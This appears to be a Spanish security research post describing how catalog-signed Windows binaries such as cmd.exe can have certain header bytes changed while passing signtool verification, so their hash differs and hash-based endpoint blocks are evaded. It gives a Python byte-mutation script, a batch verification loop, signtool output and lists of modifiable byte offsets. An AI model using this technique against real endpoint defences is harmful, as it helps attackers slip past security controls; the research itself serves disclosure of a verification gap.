
Muta binarios de Windows firmados para conservar firmas de catálogo válidas mientras altera los hashes de los archivos, evadiendo los bloqueos de endpoints basados en hash y exponiendo lagunas en la verificación de Authenticode.
La idea era evadir soluciones de endpoint que bloquean aplicaciones firmadas conocidas como "maliciosas", por ejemplo "regsvr32.exe". Quería encontrar una manera de obtener un archivo firmado válido con un hash diferente.
Usando signtool verify /v /a cmd.exe
C:\signcheck>signtool verify /a /v cmd.exe
Verifying: cmd.exe
File is signed in catalog: C:\windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-
00C04FC295EE}\Microsoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~6.1.7
601.17514.cat
Hash of file (sha1): 7EB22CBAA74B208DF433C70C06A99280036A52F3
Signing Certificate Chain:
Issued to: Microsoft Root Certificate Authority
Issued by: Microsoft Root Certificate Authority
Expires: Sun May 09 19:28:13 2021
SHA1 hash: CDD4EEAE6000AC7F40C3802C171E30148030C072
Pensé que el "Hash del archivo" era el SHA1 de cmd.exe según la salida (7EB22CBAA74B208DF433C70C06A99280036A52F3)
Una verificación adicional reveló que el SHA1 del archivo cmd.exe era
$ sha1sum.exe cmd.exe
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8 *cmd.exe
Interesante: el mismo archivo, 2 hashes diferentes.
En este punto sospeché que la firma podría no incluir todas las secciones del archivo.
Escribí un simple script en Python para generar archivos de prueba.
import sys
orig = list(open(sys.argv[1], "rb").read())
i = 0
while i < len(orig):
current = list(orig)
current[i] = chr(ord(current[i]) ^ 0xde)
path = "%d.exe" % i
output = "".join(str(e) for e in current)
open(path, "wb").write(output)
i += 1
print "done"
Luego se ejecutó python generate.py cmd.exe y se generaron más de 300 Gb de nuevos archivos.
Ahora necesitamos validar cada uno de los archivos que creamos para ver si pasan la prueba de firma.
Un simple archivo por lotes puede hacer eso
FOR /L %%A IN (1,1,10000) DO (
signtool verify /v /a %%A.exe
)
El binario 330.exe pasó la verificación de firma. En este caso, el archivo es diferente ya que se modificó el desplazamiento 330.
C:\signcheck>signtool verify /a /v 330.exe
Verifying: 330.exe
File is signed in catalog: C:\windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-
00C04FC295EE}\Microsoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~6.1.7
601.17514.cat
Hash of file (sha1): 7EB22CBAA74B208DF433C70C06A99280036A52F3
$ sha1sum.exe 330.exe
4c05efb9d67291febe44f8c661db55a1ec06bc41 *330.exe
$ sha1sum cmd.exe
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8 *cmd.exe
Los siguientes bytes se pueden modificar sin romper la firma:
330, 331, 408 - 412
Los siguientes bytes se pueden modificar sin romper la firma:
320 - 323, 400 - 407
Los siguientes bytes se pueden modificar sin romper la firma:
216 - 219